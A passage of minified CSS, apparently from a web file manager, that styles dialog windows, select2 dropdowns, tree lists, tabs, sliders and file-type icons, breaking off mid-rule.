.xdsoft_timepicker{width:70px;border-left:1px solid #ddd;background:#fbfdff;margin:0;margin-left:-1px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_prev,div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_next{margin-left:20px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box{border:none;height:203px;}div.xdsoft_datetimepicker .xdsoft_timepicker .xdsoft_time_box >div >div{background:none;border:none;}span.select2-container--default .select2-dropdown,span.select2-container--classic .select2-dropdown{box-shadow:0 2px 10px rgba(0,0,0,0.2);border:1px solid #ccc;overflow:hidden;}span.select2-container--default .select2-dropdown .select2-search__field,span.select2-container--classic .select2-dropdown .select2-search__field{border:1px solid #ccc;}span.select2-container--default .select2-selection--multiple,span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--multiple,span.select2-container--classic .select2-selection--single{border:1px solid #ccc;border-radius:4px;outline:none;min-height:32px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice,span.select2-container--default .select2-selection--single .select2-selection__choice,span.select2-container--classic .select2-selection--multiple .select2-selection__choice,span.select2-container--classic .select2-selection--single .select2-selection__choice{background-color:#edf5ff;color:#3a96ff;border-color:#badaff;height:24px;line-height:22px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove{float:right;font-size:15px;color:#3a96ff;width:20px;height:22px;line-height:18px;text-align:center;margin-right:-2px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover{color:#0063d3;}span.select2-container--default.select2-container--focus .select2-selection--multiple,span.select2-container--default.select2-container--focus .select2-selection--single,span.select2-container--classic.select2-container--focus .select2-selection--multiple,span.select2-container--classic.select2-container--focus .select2-selection--single{border:1px solid #3a96ff;}span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--single{background:#f8f8f8 url("../../../images/common//bg.gif") 0px -10px repeat-x;}span.select2-container--default .select2-selection--single .select2-selection__arrow,span.select2-container--classic .select2-selection--single .select2-selection__arrow{height:30px;width:26px;}span.select2-container--default .select2-selection--multiple ul.select2-selection__rendered:after,span.select2-container--classic .select2-selection--multiple ul.select2-selection__rendered:after{content:"";width:23px;height:50%;display:block;color:#aaa;position:absolute;right:1px;top:50%;margin-top:-7px;text-align:center;font-family:FontAwesome;}span.select2-container--default .select2-selection--multiple .select2-search--inline,span.select2-container--classic .select2-selection--multiple .select2-search--inline{height:29px;line-height:23px;}span.select2-container--default .select2-results.group-list-content>.select2-results__options,span.select2-container--classic .select2-results.group-list-content>.select2-results__options{z-index:100;width:100%;height:250px;max-height:250px;}span.select2-container--default .select2-results__option,span.select2-container--classic .select2-results__option{position:relative;}span.select2-container--default .select2-search--inline .select2-search__field,span.select2-container--classic .select2-search--inline .select2-search__field{padding-top:1px;}span.select2-container--default .select2-results__option[aria-selected=true],span.select2-container--default .select2-results__option[aria-selected=true].select2-results__option--highlighted,span.select2-container--classic .select2-results__option[aria-selected=true],span.select2-container--classic .select2-results__option[aria-selected=true].select2-results__option--highlighted{background:#edf5ff;color:#3a96ff;}span.select2-container--default .select2-results__option[aria-selected=true]:after,span.select2-container--classic .select2-results__option[aria-selected=true]:after{content:"\f00c";color:#3a96ff;position:absolute;right:10px;font-size:14px;font-family:FontAwesome;}span.select2-container--default .select2-results__option--highlighted[aria-selected],span.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#eee;color:#444;}span.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,span.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:1px solid transparent;}span.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,span.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:1px solid transparent;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--below,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--below{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:-1px;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--above,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--above{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:1px;box-shadow:0 -2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default.select2-container--open .select2-selection--multiple,span.select2-container--default.select2-container--open .select2-selection--single,span.select2-container--classic.select2-container--open .select2-selection--multiple,span.select2-container--classic.select2-container--open .select2-selection--single{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default .ztree,span.select2-container--classic .ztree{padding:0;}span.select2-container--default .ztree li a,span.select2-container--classic .ztree li a{padding-left:0;height:26px;line-height:26px;border:none;margin:0;border-radius:0;}span.select2-container--default .ztree li a.this,span.select2-container--classic .ztree li a.this{background:#edf5ff;border:none;height:26px;line-height:26px;}span.select2-container--default .ztree li a.this:hover,span.select2-container--classic .ztree li a.this:hover{color:#3a96ff;}span.select2-container--default .ztree li a:hover,span.select2-container--classic .ztree li a:hover{border:none;margin:0;border-radius:0;color:#3a96ff;}span.select2-container--default .ztree .check-icon,span.select2-container--classic .ztree .check-icon{float:right;color:#fff;font-size:12px;text-align:center;width:15px;height:15px;line-height:15px;padding:0;margin-top:5px;margin-right:5px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}span.select2-container--default .ztree .check-icon:before,span.select2-container--classic .ztree .check-icon:before{content:"\f";}span.select2-container--default .ztree a.this .check-icon:before,span.select2-container--classic .ztree a.this .check-icon:before{content:"\f00c";color:#3a96ff;}body .select2-container{width:270px;margin-right:10px;}.tab-group{text-align:center;margin-bottom:-12px;position:relative;z-index:999;}.tab-group .tab-item{background:#fff;text-align:left;display:inline-block;margin-left:-5px;border:1px solid #ccc;border-bottom-color:#a6a6a6;border-right-color:#b8b8b8;}.tab-group .tab-item:hover{background:#e6e6e6;}.tab-group .tab-item:first-child{border-top-left-radius:3px;border-bottom-left-radius:3px;}.tab-group .tab-item:last-child{border-top-right-radius:3px;border-bottom-right-radius:3px;}.tab-group .tab-item a{text-decoration:none;color:#444;padding:0 15px;height:24px;display:inline-block;line-height:24px;}.tab-group .tab-item.active a{color:#fff;}.tab-group .tab-item.active,.tab-group .tab-item.active:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#6eb4f7', endColorstr='#1a82fb');background-image:-webkit-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-moz-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-o-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-ms-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);-pie-background:linear-gradient(to to bottom,#6eb4f7 0,#1a82fb 100%);color:#fff;z-index:10;border-color:#3f87dc;border-top-color:#4396e6;border-color:#388df8 #388df8 #0866dc transparent;}.tab-group .tab-item.active:hover,.tab-group .tab-item.active:active{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#3e9bf4', endColorstr='#0469de');background-image:-webkit-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-moz-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-o-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:-ms-linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);background-image:linear-gradient(to bottom,#3e9bf4 0,#0469de 100%);-pie-background:linear-gradient(to to bottom,#3e9bf4 0,#0469de 100%);}.tab-group .tab-item:last-child.active,.tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .slider .slider-track{background:#ddd;box-shadow:none;}body .slider.slider-horizontal .slider-track{height:6px;}body .slider .slider-selection{transition:background-color .3s ease;background:#2196f3;box-shadow:none;}body .slider .slider-handle{margin-left:-7px;margin-top:-6px;width:14px;height:14px;cursor:pointer;border-radius:50%;border:2px solid #88c7f4;background:#fff;transition:border-color .3s ease, transform .3s cubic-bezier(.18,.89,.32,1.28);}body .slider .slider-handle.round:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}body .slider .tooltip{transition:all 0.168s cubic-bezier(0,0.84,0.58,1);}body .slider .tooltip.top{margin-top:-43px;}body .slider .tooltip.bottom{margin-top:20px;}body .slider .tooltip.top .tooltip-arrow{border-top-color:rgba(0,0,0,0.7);}body .slider .tooltip.bottom .tooltip-arrow{border-bottom-color:rgba(0,0,0,0.7);}body .slider .tooltip-inner{background-color:rgba(0,0,0,0.7);box-shadow:0 1px 5px rgba(0,0,0,0.2);padding:8px 15px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .aui-outer .aui-buttons{box-shadow:0 0 20px #ddd;border-top:1px solid #eee;height:45px;padding-top:5px;border-top:none;background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{left:130px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{position:absolute;left:0;padding:0;width:140px;height:100%;padding-top:20px;z-index:99999;background:#f5f7fa;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{display:block;border:none;background:none;border-radius:0;font-size:14px;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:hover{background:#eee;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:first-child,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child{border-radius:0;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item a{padding:0 20px 0 15px;display:block;height:40px;line-height:40px;text-align:right;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover a,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header{height:40px;border-bottom:1px solid #adabad;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d3d1d3', endColorstr='#e7e5e7');background-image:-webkit-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-moz-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-o-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-ms-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);-pie-background:linear-gradient(to bottom,#d3d1d3 0%,#e7e5e7 100%);}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:20px;font-size:12px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title img,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title .x-item-file{height:22px;width:22px;top:8px;margin-right:4px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row .setting-title{text-align:right;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.form-userSelect .setting-content{background:#f4f4f4;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.error .setting-content{background:#ffefed;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body{background:#eee;border:1px solid #e3e3e3;margin:20px;top:60px;bottom:30px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body .line,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body hr{border-color:#ddd;}body .dialog-plugin-config.dialog-form-style-mac .tab-group{position:absolute;margin-top:25px;width:100%;z-index:999;}body .dialog-plugin-config.dialog-form-style-mac .aui-content{background:#f9f9f9;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons{padding-right:20px;height:30px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);background:#f9f9f9;border:none;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons button{margin-top:1px;margin-left:20px;padding:0 2em;height:25px;}.message-box{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.message-box .content{padding:10px 30px;line-height:20px;width:auto;}.aui-outer{text-align:left;position:relative;}.aui-mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui-loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui-loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui-border,table.aui-dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui-nw,.aui-n,.aui-ne,.aui-w,.aui-c,.aui-e,.aui-sw,.aui-s,.aui-se,.aui-header,.aui-td-icon,.aui-main,.aui-footer{padding:0;}.aui-header,.aui-buttons button{font:12px/1.11;}.aui-title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui-title img,.aui-title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui-title img:hover,.aui-title .x-item-file:hover{transform:scale(1.1,1.1);}.aui-state-no-title .aui-title{display:none;}.aui-main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui-content{text-align:left;color:#666;border:none 0;}.aui-content{width:100%;height:100%;}.aui-content.aui-state-full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui-icon{vertical-align:middle;background:#fff;}.aui-icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui-buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui-buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui-buttons button:focus{outline:none 0;}.aui-buttons button:hover{background:#c4c4c4;}.aui-buttons button:active{background:#777777;}.aui-buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui-buttons button.aui-state-highlight{color:#FFF;background:#63acff;}.aui-buttons button.aui-state-highlight:hover{color:#FFF;background:#96c7ff;}.aui-buttons button.aui-state-highlight:active{background:#0076fc;}.aui-buttons button.disable,.aui-buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui-outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui-state-lock .aui-nw,.aui-state-lock .aui-n,.aui-state-lock .aui-ne,.aui-state-lock .aui-w,.aui-state-lock .aui-e,.aui-state-lock .aui-sw,.aui-state-lock .aui-s,.aui-state-lock .aui-se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui-title-bar{position:relative;height:100%;}.aui-title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui-state-focus .aui-mask{display:none;}.aui-state-focus .aui-outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui-state-focus .aui-title{background-color:#63acff;}.aui-state-drag .aui-title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui-min,.aui-max,.aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui-min:hover,.aui-max:hover,.aui-close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui-close:hover{background:#cc0000;}.aui-min{right:82px;content:"\f068";}.aui-max{right:43px;content:"\f065";}.aui-close{right:5px;content:"\f00d";}.aui-min:before{content:"\f068";}.aui-max:before{content:"\f065";}.aui-close:before{content:"\f00d";}.aui-max,.aui-min{display:none;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-se{width:5px;height:5px;}.aui-state-no-title .aui-title-bar{bottom:0;_bottom:0;_margin-top:0;}.aui-state-no-title .aui-outer{box-shadow:none !important;border:none !important;}.aui-state-no-title .aui-inner{border:1px solid #aaa;}.aui-state-no-title .tips{padding:15px;padding-left:10px;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-n,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-w,.aui-state-no-title .aui-e,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-s,.aui-state-no-title .aui-se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui-state-no-title .aui-close,.aui-state-no-title .aui-max,.aui-state-no-title .aui-min{display:none;font-size:1em;}.dialog-max .aui-nw,.dialog-max .aui-ne,.dialog-max .aui-sw,.dialog-max .aui-se,.dialog-max .aui-w,.dialog-max .aui-e{width:0px;}.dialog-max .aui-sw,.dialog-max .aui-n,.dialog-max .aui-se{height:0px;}.dialog-max .aui-outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:999999;display:block;}.dialog-can-resize .resize-top{cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui-min,.dialog-can-resize .aui-max{display:block;}.dialog-min-size{width:250px !important;height:30px !important;}.dialog-min-size.dialog-no-title .aui-title,.dialog-min-size .aui-title{opacity:1 !important;}.dialog-min-size .aui-outer{width:250px;}.dialog-min-size .aui-header{height:30px;}.dialog-min-size .aui-title{text-align:left;padding-left:10px;}.dialog-min-size .aui-main,.dialog-min-size .aui-footer{display:none;}.dialog-min-size .resize-handle{display:none;}.dialog-no-title .aui-title-bar{position:absolute;z-index:99999;width:100%;height:30px;top:0;}.dialog-no-title .aui-title{opacity:0.01 !important;filter:alpha(opacity=1) !important;}.dialog-no-title .aui-inner{border:none;}.dialog-no-title .aui-nw,.dialog-no-title .aui-n,.dialog-no-title .aui-ne,.dialog-no-title .aui-w,.dialog-no-title .aui-e,.dialog-no-title .aui-sw,.dialog-no-title .aui-s,.dialog-no-title .aui-se{display:none;}.dialog-no-title .aui-outer .aui-min{right:80px;}.dialog-no-title .aui-outer .aui-min:before{content:"\f068" !important;}.dialog-no-title .aui-outer .aui-max{right:40px;}.dialog-no-title .aui-outer .aui-max:before{content:"\f065" !important;}.dialog-no-title .aui-outer .aui-close{right:0px;}.dialog-no-title .aui-outer .aui-close:before{content:"\f00d" !important;}.dialog-no-title .aui-outer .aui-min,.dialog-no-title .aui-outer .aui-max,.dialog-no-title .aui-outer .aui-close{display:block;position:absolute;text-decoration:none;outline:none;font-size:1.25em;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;color:#fff;top:0px;cursor:pointer;height:30px;line-height:30px;text-align:center;background-color:transparent;width:40px;font-family:FontAwesome;border:none;background-image:none;border-radius:0;}.dialog-no-title .aui-outer .aui-min:hover,.dialog-no-title .aui-outer .aui-max:hover,.dialog-no-title .aui-outer .aui-close:hover{color:#fff;border:none;box-shadow:none;background:#41acf8;background:rgba(0,0,0,0.4);}.dialog-no-title .aui-outer .aui-close:hover{background:#e81123;background:rgba(232,17,35,0.8);}.dialog-no-title.header-bg .aui-content .header{height:90px;background-color:#008def;background-image:linear-gradient(to bottom,#084998 0,#00a9fb 100%);color:#fff;position:relative;}.dialog-no-title.header-bg .aui-content .header .bg{background:url("../../../images/common/banner/box.png") 180px -220px no-repeat;width:100%;height:100%;position:absolute;opacity:0.7;}.dialog-no-title.dialog-max .aui-outer .aui-max{right:40px;}.dialog-no-title.dialog-max .aui-outer .aui-max:before{content:"\f066" !important;}body div.dialog-simple .aui-title-bar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui-border{border:none;overflow:auto;}body div.dialog-simple .aui-outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui-inner{border:none;background:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{background:none;}body div.dialog-simple .aui-title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{border:none;top:5px;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-max:hover,body div.dialog-simple .aui-close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui-main{background:none !important;}body div.dialog-simple .aui-max{right:30px;}body div.dialog-simple .aui-min{right:56px;}body div.dialog-simple .aui-dialog,body div.dialog-simple .aui-border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui-header{opacity:0.01;filter:alpha(opacity=1);border:1px solid rgba(0,0,0,0.01);border-bottom:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-ne{height:0px;}body div.dialog-simple.aui-state-drag .aui-header,body div.dialog-simple .dialog-mouse-in .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui-state-drag .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialog-max .aui-header{opacity:1.0;filter:alpha(opacity=100);}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.file-list-icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary-box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.file-list-list .file .ico .x-item-file,.file-list-split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task-tab .tabs .tab .x-item-file,.task-tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui-title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit-tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do-search-box .search-result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:12px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.context-menu-list .context-menu-item img.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;background:none;margin-right:12px;height:auto;}.aui-title .x-item-file.x-font-icon{font-size:12px;line-height:18px;color:#fff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background-image:-webkit-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to 164deg,rgba(255,255,255,0.5),rgba(255,255,255,0));}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none 